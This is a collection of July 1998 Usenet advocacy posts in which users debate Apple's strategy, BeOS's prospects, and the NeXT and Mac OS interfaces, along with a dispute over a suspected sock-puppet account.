References: <35941317.FC21AD89@nstar.net> <6n1s6g$ldf$1@ndnws01.ne.highway1.com> <35950368.F8A5D7A7@nstar.net> <6n3g42$1nf$1@ndnws01.ne.highway1.com> <andyba-ya02408000R0107981550100001@news> <6nekto$j0g4@odie.mcleod.net> <Pine.SOL.3.96.980702105957.24877C-100000@ux10.cso.uiuc.edu> <uzpendo55.fsf@ai.mit.edu> <Pine.SOL.3.96.980706144344.8864A-100000@ux9.cso.uiuc.edu> <6oddfc$c88$1@lwnws01.ne.highway1.com> <Pine.SOL.3.96.980713131556.7501A-100000@ux7.cso.uiuc.edu> <6odtu6$lh3$5@lwnws01.ne.highway1.com> <joe.ragosta-1307982035200001@elk49.dol.net> <6oefqn$5dm$1@lwnws01.ne.highway1.com> <Pine.SOL.3.96.980714112112.13773A-100000@ux5.cso.uiuc.edu> <mNOSPAMroeder-1407981257200001@192.168.21.171> <pulsar-ya02408000R1407982334120001@news-proxy.cso.uiuc.edu> <mNOSPAMroeder-1507981407020001@192.168.21.170> <1998071813442100.JAA26722@ladder01.news.aol.com> <1dcdf79.1y4to2p1lm8ksgN@rhrz-isdn3-p17.rhrz.uni-bonn.de> <1998071818002200.OAA03866@ladder03.news.aol.com>
Mail-Copies-To: never
WillAdams <willadams@aol.com> wrote:
> I believe that I've provided a number of reasons as to why the NeXT UI is
> better than the Mac, aside from aesthetics (though I prefer the NeXT UI on
> this basis as well).
>
> As I've noted, time/date changing and display is inconsistent, the menu
> bar is inconsistent most entries are words, one, two or three are
> graphical), there's little to no feedback as to which applications are
> running, etc.
>
> Which of my statements in this thread do you not feel are valid?
So, then let's work these changes into the Mac OS UI.
Michael
--
Michael Schuerig
mailto:schuerig@acm.org
http://www.uni-bonn.de/~uzs90z/
From: gmgraves@slip.net (George Graves)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.be.advocacy
Subject: Re: Gassee and Apple's decay (was Re: Apple heading to obscurity?)
Date: Sat, 18 Jul 1998 13:20:29 -0700
Organization: Graves Associates
Message-ID: <gmgraves-1807981320300001@sf-usr1-32-160.dialup.slip.net>
References: <6oj5a0$goe$1@hole.sdsu.edu> <B1D27F61-1F256@206.165.43.178> <6ojoum$tvm$1@nnrp1.dejanews.com> <6okstp$mkm@nntp02.primenet.com> <gmgraves-1607981316130001@sf-pm5-16-80.dialup.slip.net> <35AE858A.2576@betabreakers.com> <stevehix-1607982030060001@ip30.safemail.com> <Pine.BOS.3.96.980717065604.278E-100000@fbnp> <gmgraves-1707981124460001@sf-pm5-10-74.dialup.slip.net> <35AFAEFF.2FBD@betabreakers.com>
In article <35AFAEFF.2FBD@betabreakers.com>, Josiah Fizer
<jfizer@betabreakers.com> wrote:
> George Graves wrote:
> >
> > In article <Pine.BOS.3.96.980717065604.278E-100000@fbnp>, Tyler Riti
> > <fizzboy@mail.utexas.edu> wrote:
> >
> > > On Thu, 16 Jul 1998, Steve Hix wrote:
> > >
> > > >> > No, a GUI has failed when it has no MAJOR applications. Be
still has no
> > > >> > support from the major players.
> > > >
> > > >> So Sun, SGi and HP have all "failed" cause they dont have suport
from MS
> > > >> or other people that rigth the crap we all have to use at our office?
> > > >
> > > >Sun and HP *are* "major players".
> > >
> > > Be has support from Intel. Is that major enough for you?
> >
> > Intel writes applications? Gee, I didn't know that!
> >
> > L-E-A-R-N T-O R-E-A-D
> >
> > George Graves
>
> Yea and I use my Sun apps all the time.. Oh wait, they only have an OS
> and development tools.
I never said that or even intimated it. In fact I didn't bring up Sun
in this discusion AT ALL. Someone else did.
George Graves
From: gmgraves@slip.net (George Graves)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: Apple heading to obscurity?
Date: Sat, 18 Jul 1998 12:27:57 -0700
Organization: Graves Associates
Message-ID: <gmgraves-1807981227580001@sf-usr1-32-160.dialup.slip.net>
References: <6odhav$6iu$1@server.signat.org> <6oe13t$hm7$1@news.digifix.com> <gmgraves-1407980916110001@sf-usr1-43-171.dialup.slip.net> <6oggrh$ed9$1@news.digifix.com> <gmgraves-1507981145460001@sf-usr1-30-158.dialup.slip.net> <6oj36m$bgq$1@news.digifix.com> <gmgraves-1607981329400001@sf-pm5-16-80.dialup.slip.net> <6olsfi$jeh$3@server.signat.org> <gmgraves-1607982131240001@sf-pm5-7-71.dialup.slip.net> <6onmii$njn$1@server.signat.org> <gmgraves-1707981555060001@sf-usr1-21-149.dialup.slip.net> <6ooslo$scj@sjx-ixn4.ix.netcom.com>
In article <6ooslo$scj@sjx-ixn4.ix.netcom.com>, Jonathan Hendry
<jhendry@subsequent.com> wrote:
> George Graves <gmgraves@slip.net> wrote:
>
>
> > mention one of them. In order for Apple to avoid becoming totally
> > irrelevant, they must innovate. They must continue to introduce products
> > and TECHNOLOGIES which will differentiate them from Wintel in a
> > compelling manner; one which will make people want, not only to stay
> > with the platform, but for new users to flock to it. This takes a tremendous
> > R&D budget.
>
> No it won't. Don't look for much proprietary hardware from Apple. There's
> no point. Intel is driving the PC architecture, and Apple can't possibly
> outspend them. Apple will innovate by adopting existing standards and
> putting them together in new and interesting ways that also happen
> to work well. Apple will just ride the PC industry's coattails, which
> will be quite inexpensive. Think of it as outsourcing their hardware
> R&D.
You have just expressed the VERY reason why Apple should be moving
to Intel architecture, and writing OS-X to run on that architecture
and run Windows apps as if they were Mac apps. If they have to 'borrow'
their innovation from the PC world, they may as well be part of the
PC world. I.E., if you can't buck 'em, join 'em. But such a strategy MUST
include MacOS on PC, or Apple is just another cloner.
>
> At the very least, this way Apple gets to keep up with the PC
> market. If they try to go proprietary, there's a huge risk
> of falling behind if the PC market takes an unexpected turn.
They will fall behind anyway because by using the incompatible
PPC chip, Apple is on the outside of the mainstream computer
biz looking in. Heck, even SGI has seen the light and will be
building X86 boxes. The difference is that SGI has never had a
dynamite OS, so they are going to be running NT on their Intel
Boxes. Apple does have a VIABLE alternative OS to Windoze, and
if they can write OS-X to run on Intel and to run Windows apps
natively and full-featured, they will be real WINNERS (and so
will everybody else).
>
> > Apple's revenues are STILL in free-fall. Yet we expect them
> > to innovate for the platform by themselves. Jobs realized that this was
> > a daunting task. That's why he jettisoned almost everything except Apple's
> > core business; so that the available resources could be focused on
> > Macintosh. But with marketshare falling, and revenues falling, the money
> > to maintain an R&D presence equal to or greater than that which exists in
> > the MUCH larger Wintel world isn't going to be there.
>
> Apple's revenues are not in free-fall. They're flat.
A 20% drop this quarter is flat? You speak strangely, friend.
>
> Apple doesn't need to match their R&D. They can adopt PC standard
> hardware for far less money. What exactly would they spend this
> money on, and why wouldn't they just buy a finished product from
> an OEM instead?
Sure, but why not go all the way?
>
> Apple's main innovation will be in software, and there isn't a direct
> correlation between the size of a company's R&D budget and the
> amount of innovation they do. A shoestring 2-man startup
> can come up with ideas that Microsoft would never think of.
Exactly!
>
> Microsoft would never have come up with WebObjects either,
> because they don't have the technology required for it. Look
> for more innovations of that kind.
>
> > A partner is needed.
>
> No. You seem to think that would be a 'silver bullet'. Bullet
> to the head is more likely.
Like it or not, Apple is looking for one. In spite of what all CEOs have
said ("read my lips, Apple is NOT for sale") Apple has been for sale
since about 1989. In 1996 Sun came so close to buying that you had to
had to blink to miss it. Amelio shit-canned the idea at the eleventh
hour as his first act of assuming the presidency vacated by Spindler.
>
> > One which can either fund such a presence (a deep-pockets company like
> > IBM or Philips), or benefit directly from it (a partner in the same business
> > such as Sun).
>
> Lotus hasn't exactly taken the world by storm since IBM bought them.
> Their SmartSuite hasn't made a dent against Office.
>
> Philips would probably try to turn the Mac into a new CD-i.
>
> Sun isn't even remotely in the same business, and they've botched
> their only broad-interest project - Java. Sun's also a black
> hole.
>
> Apple wouldn't last three years if they get tangled up with
> some partner. It'd be a death sentence. They have far, far
> better chances of surviving on their own.
Then, I'm afraid, long run, they have NO chance. (just my opinion Maury!)
George Graves
From: gmgraves@slip.net (George Graves)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.be.advocacy
Subject: Re: Gassee and Apple's decay (was Re: Apple heading to obscurity?)
Date: Sat, 18 Jul 1998 12:40:23 -0700
Organization: Graves Associates
Message-ID: <gmgraves-1807981240230001@sf-usr1-32-160.dialup.slip.net>
References: <6oj5a0$goe$1@hole.sdsu.edu> <B1D27F61-1F256@206.165.43.178> <6ojoum$tvm$1@nnrp1.dejanews.com> <6okstp$mkm@nntp02.primenet.com> <gmgraves-1607981316130001@sf-pm5-16-80.dialup.slip.net> <35AE858A.2576@betabreakers.com> <gmgraves-1607982149230001@sf-pm5-7-71.dialup.slip.net> <6op15i$283$1@nnrp03.primenet.com>
In article <6op15i$283$1@nnrp03.primenet.com>, John Jensen
<jjens@primenet.com> wrote:
> George Graves <gmgraves@slip.net> wrote:
> : You don't get it. Sun, HP, and SGI DO have support from major players.
> : They aren't necessariliy the SAME major players that are in the office
> : computer market, but they are major players nonetheless. Care to tell
> : me the names of any REAL, useful software on Be?
>
> You're so funny George, you use a REAL software on a REAL operating system
> by a company with REAL management ... Apple.
>
> Geez, the REAL software is Microsoft Office, which Apple had to beg for
> (accepting IE as a condition). Or Photoshop under carbon, which Apple had
> to beg for (abandoning Yellow Box to get the deal). Or Quicken, which
> Apple had to beg for (particularly embarassing because an Apple board
> member had to be begged).
>
> The REAL operating system, now called MacOS X is a ways off.
>
> The REAL management is happily fortifying a shrinking core market.
>
> If you are happy with that, great, you have the patience of Job. But
> isn't it a little ridiculous for you to be throwing stones at people who
> aren't in such a wonderful situation?
>
> Why not accept that anyone trying to sell an alternate OS in the '90s is
> going to have a hard time, and wish them luck?
Oh, I do. You mistake the messenger for the message. I have nothing
against BeOS, in fact, I rather liked it when I played with the public
beta. That only meant that it bothered me all the more that the apps
didn't exist for me to change over to it right then and there. I'm sure
that many people had the same reaction. We're still waiting.
George Graves
From: macghod@concentric.net (Steve Sullivan)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.os.ms-windows.advocacy
Subject: Whats up with Edwin Thorne?
Date: Sat, 18 Jul 1998 12:51:56 -0700
Organization: Great till Apple got rid of the newton
Message-ID: <macghod-1807981251560001@sdn-ar-001casbarp049.dialsprint.net>
We all has seen his forwards from macmarines and evangelist. Apparently
from complaints he got he said he would stop. But all he has done is
create new accounts to annoy us with. I do not say this merely because
the posts are from the same isp as Edwin has, that is no proof at all. If
you go to dejanews tho and look at both "users" I think you will see
conclusively that they are the same people, even tho this "new" person
claims he is not Edwin. Bellow is a full copy and paste from dejanews, in
its entirety:
<start>
Subject: Re: Here we go again with the Be OS!
From: Anton <no.spam@all.for.me>
Date: 1998/07/15
Message-ID: <35AD7448.53D77897@all.for.me>
Newsgroups: comp.sys.mac.advocacy,comp.sys.amiga.advocacy
[More Headers]
[Subscribe to comp.sys.mac.advocacy]
modula2000@hotmail.com wrote:
>
> In article <35AD3399.FF0BD03D@rauland.com>,
> "Edwin E. Thorne" <edwin.thorne@rauland.com> wrote:
> > First the Be OS was supposed to replace the Mac OS, but that attempt
> > failed.
> >
> > Next, it was supposed to be the killer OS for the Intel platform, but
> > where has that gone? Nowhere.
> >
> > Now the new Amiga OS is supposed to be based on the Be OS.
>
> Says who?
I saw a mention of this when I glanced at an Amiga Format Magazine in my
favorite magazine store. The BeOS is supposed to be the foundation of the
next AmigaOS running on some new secret processor.
<end>
Also from dejanews, check the similiarity of this post by Edwin:
<begin>
Subject: Re: Here we go again with the Be OS!
From: "Edwin E. Thorne" <edwin.thorne@rauland.com>
Date: 1998/07/17
Message-ID: <35AFACC0.9DB5494D@rauland.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.amiga.advocacy
[More Headers]
[Subscribe to comp.sys.mac.advocacy]
modula2000@hotmail.com wrote:
>
> In article <6ok7ts$gsf$1@orthanc.reference.com>,
> arami@mailexcite.com wrote:
> > On Thu, 16 Jul 1998 01:52:34 GMT, modula2000@hotmail.com wrote:
> > > In article <35AD3399.FF0BD03D@rauland.com>,
> > > "Edwin E. Thorne" <edwin.thorne@rauland.com> wrote:
>
> > > >
> > > > Now the new Amiga OS is supposed to be based on the Be OS.
> > >
> > > Says who?
>
> >
> > That is wrong.
>
> Thanks, sounds like Thorne is taking after Corn.
What the hell is that supposed to mean? I just passed along something
that I read in Amiga Format.
<end>
Notice these two "different" people are posting to the same thread, in
fact, I bet if you mapped out the thread, you would see this last comment
is in regards to the "Anton" post, Edwin forgot that he was on his "edwin"
account and posted a response that should of been "anton" instead of
"edwin"
I wouldnt of reposted this, but after I saw Edwin Denying this, I felt it
necessary.
If anyone is not convinced, feel free to speak your mind, I posted this
because I was sure its the TRUTH, if it isnt I would be the first to want
to retract it.
--
So many pedestrians, so little time.
From: gmgraves@slip.net (George Graves)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.be.advocacy
Subject: Re: Gassee and Apple's decay (was Re: Apple heading to obscurity?)
Date: Sat, 18 Jul 1998 13:24:39 -0700
Organization: Graves Associates
Message-ID: <gmgraves-1807981324390001@sf-usr1-32-160.dialup.slip.net>
References: <6oj5a0$goe$1@hole.sdsu.edu> <B1D27F61-1F256@206.165.43.178> <6ojoum$tvm$1@nnrp1.dejanews.com> <6okstp$mkm@nntp02.primenet.com> <gmgraves-1607981316130001@sf-pm5-16-80.dialup.slip.net> <35AE858A.2576@betabreakers.com> <stevehix-1607982030060001@ip30.safemail.com> <Pine.BOS.3.96.980717065604.278E-100000@fbnp> <gmgraves-1707981124460001@sf-pm5-10-74.dialup.slip.net> <Pine.BOS.3.96.980717231938.231B-100000@fbnp>
In article <Pine.BOS.3.96.980717231938.231B-100000@fbnp>, Tyler Riti
<fizzboy@mail.utexas.edu> wrote:
> On Fri, 17 Jul 1998, George Graves wrote:
>
> >> >> So Sun, SGi and HP have all "failed" cause they dont have suport from MS
> >> >> or other people that rigth the crap we all have to use at our office?
> >> >
> >> >Sun and HP *are* "major players".
> >>
> >> Be has support from Intel. Is that major enough for you?
> >
> >Intel writes applications? Gee, I didn't know that!
> >
> >L-E-A-R-N T-O R-E-A-D
>
> You know, I'm not the only one on this group that is getting annoyed by this
> thread. You're just itchin to get flamed but I think you'd get too much of a
> thrill out of that...
Go ahead and flame. I don't care.
>
> Who cares that the major players aren't stepping up to bat in Be's ballpark.
> How old is the Intel port? Less that what, four months? Until the x86 port,
> nobody took the BeOS seriously. It was a geeks OS on the PPC platform. Sorta
> like the back lot with the neighborhood kids. Certainly you're not going to
> get McGuire batting in that kind of condition. After the move to Intel,
> suddenly the press took notice and now it's one of the media buzzwords.
>
> Despite that, no major software development company is going to jump up and
> immediately port their flagship product for an up and coming OS. I'm sure
> even someone like you can comprehend that.
See, I knew you could flame!
And, when BeOS becomes a viable OS capable of more than just 'demonstations'
as one wag put it earlier, I'll visit it again.
George Graves
>
>
> Tyler Riti -- http://www.cs.utexas.edu/users/fizzboy/
> "Tears, happiness... The two are interchangable."
From: gmgraves@slip.net (George Graves)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: Apple heading to obscurity?
Date: Sat, 18 Jul 1998 13:28:10 -0700
Organization: Graves Associates
Message-ID: <gmgraves-1807981328100001@sf-usr1-32-160.dialup.slip.net>
References: <gmgraves-1607982131240001@sf-pm5-7-71.dialup.slip.net> <B1D4F7F2-2A28C@206.165.43.134>
In article <B1D4F7F2-2A28C@206.165.43.134>, "Lawson English"
<english@primenet.com> wrote:
> George Graves <gmgraves@slip.net> said:
>
> >Run the company like adults on a permanent basis.
>
> RDF do this? Not likely.
>
>
> Restore some of the
> >lost credibility,
>
>
> That just requires masterful manipulation of people, which Jobs does very
> well.
>
> move Apple toward being a mainstream computer, instead
> >of being an isolated curiosity,
>
> Jobs believes in Apple-as-niche. Explain his refusal to create an AMP-like
> machine and license it to anyone, otherwise.
>
>
> > reinstate clones.
>
> See above. Apple-as-creator-of-technology rather than as
> vender-of-expensive-niche-machines is NOT part of Job's worldview. The Mac
> has NEVER been the "computer for the rest of us," and Jobs doesn't think
> that it should be.
Then its well on its way to irrelevency. I shouldn't care, but without a
viable replacement out there (In my humble opinion), I'm stuck and they
are taking me with them.
George Graves
From: a l t e nber@nashville.com (Le e Al te nb erg)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: View from the trenches
Date: 18 Jul 1998 21:42:43 GMT
Organization: http://www.supernews.com, The World's Usenet: Discussions Start Here
Message-ID: <6or4sj$83a$1@supernews.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
I went down to the local Kinkos to scan some photos and upload them to my Web
server (a PC running NEXTSTEP 5000 miles away, which, by the way, has been
running faithfully for a year without anyone there to maintain it), and I
discovered that they used Macs for their scanning workstation.
Kinkos set up the Mac so that you use Adobe Photoshop to launch the HP
DeskScan software. They didn't realize you could launch the HP software
directly, which is much simpler. They also didn't know how I could get the
multi-megabyte files off of their machine except to go out and buy a Zip
disk.
Fortunately, I figured out that I could use the FTP function of the Netscape
browser to upload it to my server. It took a couple of minutes over their
ISDN line to upload each picture. To save time and money ($24/hr), while the
first file was uploading, I went to scan the second image. And guess
what---can't do that! I couldn't switch back to HP's software until the
upload was complete. I haven't had to deal with the lack of mutlitasking
since abandoning the Mac platform for NeXT 9 years ago. What amazes me is
that Apple managed stay in business with such an OS.
I was doing a similar task in the University computer center, which has 7
Sparc's and a zillion 166 MHz Gateway2000's running NT. While downloading a
file using FTP, I tried to move the FTP dialog panel out of the way so that I
could get on to other business, and it wouldn't budge for about 15 seconds.
That's multitasking? That is far worse that I've experienced using a
NeXTstation at 1/7 the speed. And this is the OS that is taking over the
world?
So the long and short of it is, I am amazed at the clunky systems people have
been gobbling up all these years. When Mac OS X (server, etc) hits the
streets, I think people are going to like it.
--
======================================================================
Lee Altenberg, Ph.D.
Research Affiliate, Hawai`i Institute of Geophysics and Planetology
University of Hawai`i at Manoa
Office: Maui High Performance Computing Center
550 Lipoa Parkway, Suite 100, Kihei, Maui HI 96753
Phone: (808) 879-5077 x 296 (work), (808) 879-5018 (fax)
E-mail: a l t e n b e r@soc1.acpub.duke.edu (delete spaces, anti-spam tactic)
======================================================================
From: don@misckit.com (Don Yacktman)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mac OS X GUI---3 clicks to any window?
Date: 18 Jul 1998 22:53:02 GMT
Organization: MiscKit Development
Message-ID: <6or90e$pmc$1@news.xmission.com>
References: <6or1kb$i6p@newsb.netnews.att.com> <forrestDELETE-THIS!-1807981519150001@term3-17.vta.west.net>
NNTP-Posting-Date: 18 Jul 1998 22:53:02 GMT
forrestDELETE-THIS!@west.net (Forrest Cameranesi) wrote:
> In article <6or1kb$i6p@newsb.netnews.att.com>,
> gupta@kcopsrm.tm.tta.moc-mirror after @ wrote:
>
> > In the current MacOS GUI, the "key hook" to open-applications is always
> > in the upper left-hand corner of the screen.
>
> Actually, that's the upper-right. Upper-left is the Apple menu (renamed
> the "Info" menu according to the old leaked DR1 UI guidelines). In DR1, I
> think that the Apple menu also fuctioned as an Application menu, but since
> there's a real Application menu in DR2, I doubt that functionality is
> still there (I wouldn't know, as I'm not a developer and I haven't seen
> any screenshots of the Apple menu pulled-down in DR2).
The upper right hand corner has running applications plus access to other
toys like the processes window. This lets you jump quickly to any running
app.
The Apple menu at the upper left hand corner has applications that may or may
not be running--think of it as replacing the NEXTSTEP "dock" in a way, as far
as launching goes. It also has submenus of the most recent applications and
documents you have had open. There is a program on apple.com that allows you
to customize the Apple menu to app/remove apps, reorder them, and decide how
many apps/documents to track for the "recent" menus.
> > However, to choose among multiple windows in an application, I don't
> > think there is system-wide standard; it is application-specific.
>
> Actually, in Rhapsody / Mac OS X, there are individual windows listed
> there as well, and I think that this functionality may be in Allegro (Mac
> OS 8.5) as well, but I don't recall off the top of my head and I'm too
> lazy to go check the screenshots at Reality
> <http://www.macnn.com/reality/>.
I don't see all the windows for the current app listed in the upper right
hand applications menu in DR2. (Note that the name of the menu is the name
of the currently active app, FWIW.) But you do have the option of minimizing
windows to tiles -or- windowshades, depending upon your preferences, and
there's the "Window" menu in each app that lists all the app's windows.
So it is a max of two clicks (with two drags) to get to any window on the
system.
--
Later,
-Don Yacktman
don@misckit.com
<a href="http://www.misckit.com/don.html">My home page</a>
From: don.brown@cesoft.com (Donald Brown)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: Apple heading to obscurity?
Date: Sat, 18 Jul 1998 18:23:40 -0500
Organization: Prairie Group
Message-ID: <MPG.101aea726a01d7449899b9@news.supernews.com>
References: <6odhav$6iu$1@server.signat.org> <6oe13t$hm7$1@news.digifix.com> <gmgraves-1407980916110001@sf-usr1-43-171.dialup.slip.net> <6oggrh$ed9$1@news.digifix.com> <gmgraves-1507981145460001@sf-usr1-30-158.dialup.slip.net> <6oj36m$bgq$1@news.digifix.com> <gmgraves-1607981329400001@sf-pm5-16-80.dialup.slip.net> <6olsfi$jeh$3@server.signat.org> <gmgraves-1607982131240001@sf-pm5-7-71.dialup.slip.net> <6onmii$njn$1@server.signat.org> <gmgraves-1707981555060001@sf-usr1-21-149.dialup.slip.net> <6ooslo$scj@sjx-ixn4.ix.netcom.com> <gmgraves-1807981227580001@sf-usr1-32-160.dialup.slip.net>
In article <gmgraves-1807981227580001@sf-usr1-32-160.dialup.slip.net>,
gmgraves@slip.net says...
> You have just expressed the VERY reason why Apple should be moving
> to Intel architecture, and writing OS-X to run on that architecture
> and run Windows apps as if they were Mac apps. If they have to 'borrow'
> their innovation from the PC world, they may as well be part of the
> PC world. I.E., if you can't buck 'em, join 'em. But such a strategy MUST
> include MacOS on PC, or Apple is just another cloner.
>
OS-X might be able to run some Windows apps. But it won't run MS-Office.
Microsoft will see to that. And if they can't run MS-Office, it will be
an even bigger flop than the other Intel OSes that have tried to take on
the Microsoft monopoly.
Also, you're asking Apple to somehow completely reinvent itself as a
software company, and I don't think they can. They'd somehow have to
divest themselves of their hardware (because they couldn't keep both
going at the same time) and I don't see how they could survive the
transition.
Won't work. Not a chance.
Donald
From: don.brown@cesoft.com (Donald Brown)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.os.ms-windows.advocacy
Subject: Re: Whats up with Edwin Thorne?
Date: Sat, 18 Jul 1998 18:35:05 -0500
Organization: Prairie Group
Message-ID: <MPG.101aed208700dc2b9899bb@news.supernews.com>
References: <macghod-1807981251560001@sdn-ar-001casbarp049.dialsprint.net>
And what's up with all the personal attacks on Edwin?
We're hearing "Edwin's a fool, Edwin's a moron"
But that doesn't stop people from spending what must be hours cross-
referencing his messages with other messages. "Quick, Watson, the
Usenet's afoot!"
You know, there are those I consider fools. On both sides of the street.
I have developed a sure-fire strategy for dealing with them. I ignore
them.
The attention Edwin is getting, makes me think he's accomplishing
something.
Domald
From: Michael Peck <mjpeck@nstar.net>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: Apple heading to obscurity?
Date: Sat, 18 Jul 1998 16:13:46 -0500
Organization: ISPNews http://ispnews.com
Message-ID: <35B1100A.3842D7E8@nstar.net>
References: <6odhav$6iu$1@server.signat.org> <6odln1$2dt@shelob.afs.com>
<35aa6842.0@news.depaul.edu> <6ods6g$g5u$1@news.digifix.com>
<macghod-1307981459460001@sdn-ar-001casbarp304.dialsprint.net> <6oe13t$hm7$1@news.digifix.com>
<not-1307981747020001@3-86.phx.psn.net> <6oeict$msj$1@news.digifix.com>
<not-1407981048300001@2-25.phx.psn.net> <6opsr3$rog$2@supernews.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
NNTP-Posting-Date: 18 Jul 1998 21:19:11 GMT
John C. Randolph wrote:
> Michael, a word of caution: You're making an ass of yourself. I think that
> every NeXT hacker can attest that Scott does in fact know the people now
> making these decisions at Apple. He's been a NeXT hacker for a *long* time,
> and the NeXT community is *very* tight.
But the rest of us non-"NeXT hackers" don't know that, and that's the
whole point. I'll personally attest to the quality of Scott's Website
and general level of knowledge; as far as I can say both are excellent.
That doesn't erase the fact that by virtue of my position Henry Norr is
the journalist with a good record and Scott Anguish is the insider I
don't know.
The subject of this thread is Scott's remarks regarding Henry Norr. It
would be over the moment an apology came across the wire. I'm very
surprised nothing of the sort has materialized.
MJP
From: jjens@primenet.com
Newsgroups: comp.sys.next.advocacy
Subject: Re: Gassee and Apple's decay (was Re: Apple heading to obscu
Date: Sat, 18 Jul 1998 20:56:25 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6or25p$2hc$1@nnrp1.dejanews.com>
References: <35B0A7E5.4BE@nospam.earthlink.net> <8F33328.09B60011B8.uuout@relaynet.org>
In article <8F33328.09B60011B8.uuout@relaynet.org>,
sheppard.gordon@relaynet.org (SHEPPARD GORDON) wrote:
>
> On 07/18/98, TRIMIL wrote:
>
> T> If Gassee & company weren't so greedy (asking $250M for a half-finished
> T> OS), he might have cut a deal with Apple. He rolled the dice and lost.
>
> I had the most unusual conversation with a Be employee several months back in
> which he said with a dtraight face that Gassee wasn't _really_ interested in
> selling Be, but was only in discussions with Apple because Apple was so
> interested. If that's the kind of Kool-Aid that the people at Be are drinking,
> in the face of all evidence to the contrary, it looks like the
> Distortion-Field crown has been passed from Apple.
Which do you think is more fun, having your own company or being a cog in a
corporate machine?
John
-----== Posted via Deja News, The Leader in Internet Discussion ==-----
http://www.dejanews.com/rg_mkgrp.xp Create Your Own Free Member Forum
From: gupta@kcopsrm.tm.tta.moc-mirror after @
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mac OS X GUI---3 clicks to any window?
Date: 18 Jul 1998 20:47:07 GMT
Organization: AT&T, Columbus, Ohio
Message-ID: <6or1kb$i6p@newsb.netnews.att.com>
Originator: gupta@tlctest
>
>comparing GUIs. The key brilliant idea of NeXT's GUI was what I call "Access
>from the periphery". You can have a whole stew of windows in the body of the
>screen, but the key hooks to get at them are around the margins of the
>screen. This is where the "Desktop" metaphor is deficient: the hooks (icons
>on the desktop) have nowhere else to go besides the workspace where all those
>windows are.
In the current MacOS GUI, the "key hook" to open-applications is always
in the upper left-hand corner of the screen. Clicking there brings up a
list of open applications, and picking one brings that application's windows
and menu-bar to the foreground. There is a "Hide Others" to hide all other
windows.
However, to choose among multiple windows in an application, I don't
think there is system-wide standard; it is application-specific.
Under the applications I use, there is always a menu item that lets you
choose between open windows. But this does not appear in one standard
place in the menus. So, this is a deficiency in the current Mac GUI.
-arun
From: forrestDELETE-THIS!@west.net (Forrest Cameranesi)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mac OS X GUI---3 clicks to any window?
Message-ID: <forrestDELETE-THIS!-1807981513190001@term3-17.vta.west.net>
References: <6oqr65$ept$1@supernews.com>
Organization: Obsidian Design / Static Dreams Interactive
Date: Sat, 18 Jul 1998 22:14:00 GMT
NNTP-Posting-Date: Sat, 18 Jul 1998 15:14:00 PDT
In article <6oqr65$ept$1@supernews.com>, a l t e n ber@nashville.com
(delete spaces, spam trick) wrote:
> With the NeXT GUI, I can find any window and bring it up to the top in no
> more that 3 mouse clicks. This is even if I have 50, 70, 100 windows open:
One click - the Application menu, which now includes all open windows as
well. Actually, some might do this in two clicks - click to open the menu,
click the item - but I would likely just click and drag down through the
menu, of if I expected to have to be switching between a lot of windows
which obscure eachother, I'd have the app menu torn off and therefore
easily accessible with one click.
--
-Forrest Cameranesi
Owner of The Universe, seeking employees for "Ruler" and "Master" positions. Apply at front desk. All prices subject to change. Universe, the Universe logo, and all objects contained within are (TM) and (C) Everything Unlimited, a wholly owned subsidary of Cameranesi Enterprises. Remember:
"We know what you want. We know what you need. We know where you live."
From: forrestDELETE-THIS!@west.net (Forrest Cameranesi)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mac OS X GUI---3 clicks to any window?
Message-ID: <forrestDELETE-THIS!-1807981519150001@term3-17.vta.west.net>
References: <6or1kb$i6p@newsb.netnews.att.com>
Organization: Obsidian Design / Static Dreams Interactive
Date: Sat, 18 Jul 1998 22:19:56 GMT
NNTP-Posting-Date: Sat, 18 Jul 1998 15:19:56 PDT
In article <6or1kb$i6p@newsb.netnews.att.com>,
gupta@kcopsrm.tm.tta.moc-mirror after @ wrote:
> In the current MacOS GUI, the "key hook" to open-applications is always
> in the upper left-hand corner of the screen.
Actually, that's the upper-right. Upper-left is the Apple menu (renamed
the "Info" menu according to the old leaked DR1 UI guidelines). In DR1, I
think that the Apple menu also fuctioned as an Application menu, but since
there's a real Application menu in DR2, I doubt that functionality is
still there (I wouldn't know, as I'm not a developer and I haven't seen
any screenshots of the Apple menu pulled-down in DR2).
> However, to choose among multiple windows in an application, I don't
> think there is system-wide standard; it is application-specific.
Actually, in Rhapsody / Mac OS X, there are individual windows listed
there as well, and I think that this functionality may be in Allegro (Mac
OS 8.5) as well, but I don't recall off the top of my head and I'm too
lazy to go check the screenshots at Reality
<http://www.macnn.com/reality/>.
--
-Forrest Cameranesi
Owner of The Universe, seeking employees for "Ruler" and "Master" positions. Apply at front desk. All prices subject to change. Universe, the Universe logo, and all objects contained within are (TM) and (C) Everything Unlimited, a wholly owned subsidary of Cameranesi Enterprises. Remember:
"We know what you want. We know what you need. We know where you live."
From: forrestDELETE-THIS!@west.net (Forrest Cameranesi)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: View from the trenches
Message-ID: <forrestDELETE-THIS!-1807981526100001@term3-17.vta.west.net>
References: <6or4sj$83a$1@supernews.com>
Organization: Obsidian Design / Static Dreams Interactive
